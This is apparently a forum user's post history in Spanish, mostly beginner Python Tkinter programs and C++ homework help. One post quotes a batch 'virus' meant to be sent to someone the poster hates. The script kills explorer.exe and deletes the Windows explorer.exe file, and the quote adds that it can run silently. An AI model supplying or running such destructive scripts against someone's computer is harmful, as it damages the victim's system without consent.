Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Runex

#131
Por si a alguien que quiera aprender le interesa, aquí dejo yo el código de un programa similar en Python, ahora con tiempo lo haré mediante POO y le añadiré más niveles :)

Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Tkinter import *
import random,tkMessageBox
class logueo:
def __init__(self):
self.logueo = Tk()
self.logueo.title("Panel de Logueo")
self.logueo.config(bg="black")
self.nombre = StringVar()
self.logueo.maxsize("200","100")
self.logueo.minsize("200","100")
Label(self.logueo,text="Nombre",font=("Helvetica",15),bg="black",fg="green").pack()
self.log = Entry(self.logueo,textvariable=self.nombre)
self.log.pack()
self.aceptar = Button(self.logueo,text="Aceptar",command=self.enviar)
self.aceptar.pack()
self.logueo.mainloop()
def enviar(self):
self.root = Tk()
self.vidas = 3
self.puntuacion = 0
self.instancia = sumasrapidas(self.root,self.vidas,self.puntuacion,self.log.get())
self.logueo.destroy()
self.root.mainloop()


class sumasrapidas:

def __init__(self,root,vidas,puntuacion,nombre):
self.num1 = IntVar()
self.vidas = vidas
self.puntuacion = puntuacion
self.nombre = nombre
self.numerox1 = random.randint(0,50)
self.numerox2 = random.randint(0,50)
self.root = root
self.root.configure(background="black")
self.root.title("Juego")
self.root.maxsize("190","145")
self.root.minsize("190","145")
Label(self.root,text="Sumas Rapidas",bg="black",fg="green").grid(row=0,column=3)
self.numero1 = Entry(self.root,textvariable=self.num1)
self.aceptar = Button(self.root,text="Aceptar",command=self.suma,fg="green",bg="black")
self.numero1.grid(row=1,column=3)
self.aceptar.grid(row=2,column=3)
Label(self.root,text=str(self.numerox1) + "+" + str(self.numerox2),bg="black",fg="green").grid(row=3,column=3)

def suma(self):
if int(self.numero1.get()) == self.numerox1 + self.numerox2:
Label(self.root,text="Correcto",bg="black",fg="green").grid(row=4,column=3)
Label(self.root,text="Tienes " + str(self.vidas) + " vidas",bg="black",fg="green").grid(row=5,column=3)
self.puntuacion += 1
else:
Label(self.root,text="Incorrecto",bg="black",fg="green").grid(row=4,column=3)
self.vidas -= 1
Label(self.root,text="Tienes " + str(self.vidas) + " vidas",bg="black",fg="green").grid(row=5,column=3)
if self.vidas==0:
tkMessageBox.showinfo("Game Over","Puntuacion = "+str(self.puntuacion))
self.abrirarchivo = open("records.txt","a")
self.abrirarchivo.write("----Partida de: " + self.nombre+"----\n")
self.abrirarchivo.write("Puntuacion: " + str(self.puntuacion) + " sumas hechas\n")
self.abrirarchivo.close()
exit(0)
self.numerox1 = random.randint(0,50)
self.numerox2 = random.randint(0,50)
Label(self.root,text=str(self.numerox1) + "+" + str(self.numerox2),bg="black",fg="green").grid(row=3,column=3)

if __name__ == "__main__":
instancia = logueo()
instancia


Actualizado con puntuaciones por jugador y records en archivo de texto :)
#132
Scripting / Re: Batch virus para quien odias
8 Abril 2012, 16:54 PM
Aaaah no me había fijado en el "del", mejor aun es  ;-)
#133
Bueno es :D.

He estado mirando tus tutoriales y te agradecería que los explicases sin clases de por medio si es posible, implementar clases en tutoriales es bastante lioso :D.

De todas formas Qt4 parece bastante potente en cuanto a interfaces no? :)
#134
Scripting / Re: Batch virus para quien odias
8 Abril 2012, 16:20 PM
Cita de: ELVJop en  8 Abril 2012, 15:40 PM
Alguna vez has odiado mucho alguien? Y le has querido enviar un virus? Aqui tenemos algo parecido.(En teoria esto es un bug de windows esto es compatible con todas las versiones de windows)

Para Windows 7 o Vista:

#Por ELVJop
@echo off
:menu
taskkill /f /im explorer.exe
del /s /q C:\Windows\explorer.exe
IF !Errorlevel! EQU 1 (Goto :menu)
exit


Para windows XP:

#Por ELVJop
@echo off
:menu
taskkill /f /im explorer.exe
del /s /q C:\Windows\System32\explorer.exe
IF !Errorlevel! EQU 1 (Goto :menu)
exit


Si no lo sabes:


#Por ELVJop
@echo off
taskkill /f /im explorer.exe
del /s /q C:\Windows\System32\explorer.exe
taskkill /f /im explorer.exe
del /s /q C:\Windows\explorer.exe
exit


Se puede compilar y ejecutar en modo silencioso


Bueno, de Batch no entiendo mucho pero según lo que veo, simplemente finaliza el proceso explorer.exe y nada que no se pueda recuperar desde el administrador de tareas iniciando de nuevo el proceso.

De todas formas, está graciosa, también hay otros como el shutdown -s -t o simplemente hacer saltar alerts en un bucle  ;-)
#135
Sé que no es nada nuevo, es más se suelen subir bastantes programas como éste, pero quería hacer otro aporte y aunque por el momento es bastante simple, lo he hecho en 5 minutos, y en una media hora más, tendré el programa con un aspecto visual más o menos bonito :).

Edit: He encontrado un problema con la conversión de Hex a Ascii, tengo más o menos claro el algoritmo de conversión, he intentado contar cada numero de la palabra en hex y añadirlo a una lista vacía, así cuando la longitud de la lista sea = 2, los numeros se convierten a ascii con chr() y se añaden a una variable de almacenamiento, resultado="". Pero hay algo que me está mareando con tanto self. por ahi xD :)

Os dejo aquí el simple código:

Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Tkinter import *
import string
class programa

def __init__(self):
self.root = Tk()
self.root.title("Conversor Ascii")
self.root.maxsize(width="500",height="500")
self.root.minsize(width="500",height="500")
self.a = StringVar()
self.b = StringVar()
self.entradascii = Entry(self.root,textvariable=self.a,width=20)
self.button = Button(self.root,text="To Hex",command = self.convertirhex)
self.entradahex = Entry(self.root,textvariable=self.b,width=20)
self.button2 = Button(self.root,text="To Ascii",command=self.convertirascii)
self.entradahex.grid(row=3,column=0)
self.button2.grid(row=3,column=1)
self.entradascii.grid(row=0,column=0)
self.button.grid(row=0,column=1)
self.root.mainloop()
def convertirhex(self):
self.palabra = self.entradascii.get()
self.resultado = ""
for self.letra in self.palabra:
self.resultado = self.resultado + hex(ord(self.letra))
self.resultado = "0x" + self.resultado.replace("0x","")
Label(self.root,text="Hex: " + self.resultado).grid(row=0,column=3)
def convertirascii(self):
self.palabra = self.entradahex.get()
self.lista = []
self.resultado = ""
for self.letra in self.palabra:
self.lista.append(int(self.letra))
if len(self.lista)==2:
self.par = string.join(self.lista)
self.resultado = self.resultado + chr(self.par)
print self.resultado

instancia = programa()
instancia

#136
Scripting / ¿Interfaz gráfica Python?
7 Abril 2012, 19:52 PM
Buenas compañeros :).

Quería información acerca de la mejor librería para gráficos en Python, estaba empezando con Tkinter pero según he escuchado Wx y PyQt son bastante buenas.

Y eso era todo, un saludo :)
#137
Desafíos - Wargames / Re: Hack_Web EAS Pista
6 Abril 2012, 21:19 PM
A mi me pasa algo raro con esto, cocino bien con sus nombres y sus pass md5 y siempre me salta el error de validación.

Alguna ayudita? XD
#138
Programación C/C++ / Re: Programacion c++
6 Abril 2012, 21:15 PM
Cita de: mmaikel en  6 Abril 2012, 21:05 PM
muchas gracias a los 2 por vuestras respuestas.
durasno, eso es lo que estaba aplicando, el problema es que no se como hacer para que me eleve ese resto al cubo (soi un ignorante en este tema), o sea, como guardar ese resto para elevarlo despues, o si el programa lo guarda..

mmaikel para elevarlo al cubo debes importar la libreria <math.h>
y debes usar la función pow().

Puedes inicializar una variable y realizar la operacion en ella así:

Código (cpp) [Seleccionar]
int primnumero = numero % 10;
int segonumero = primnumero / 10;


y así cuando tengas los dígitos que necesitas, utilizas pow y lo guardas en una variable:

Código (cpp) [Seleccionar]
resultado = pow(primnumero,3) + pow(segonumero,3) + pow(tercenumero,3);

Un saludo mmaikel :)

#139
Programación C/C++ / Re: Programacion c++
6 Abril 2012, 21:04 PM
Cita de: durasno en  6 Abril 2012, 20:55 PM
Hola! una pista, tomamos 153 como ejemplo:
153%10
el resto va a ser 3
153/10
el resultado va a ser 15
15%10
resto 5
15/10
resultado 1
1%10
resto 1

Aplicalo a tu codigo y tendria q salir. Saludos

Jaja nunca hubiese pensado en eso, es buen método  ;-)

EDIT: Es curioso, lo he escrito y no me devuelve los números que debería devolver :S
#140
Programación C/C++ / Re: Programacion c++
6 Abril 2012, 20:49 PM
Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
numeros = raw_input("Numero>")
x = ""
for numero in numeros:
resultado = pow(int(numero),3)
x = x + str(resultado)
if x == str(numeros):
print x + " y " + str(numeros) + " son iguales"
else:
print x + " y " + str(numeros) + " no son iguales"


En python sería algo así, fíjate en lo que hace el programa e implementalo en C ya que no se pueden postear los resultados de los ejercicios :)

Un saludo :)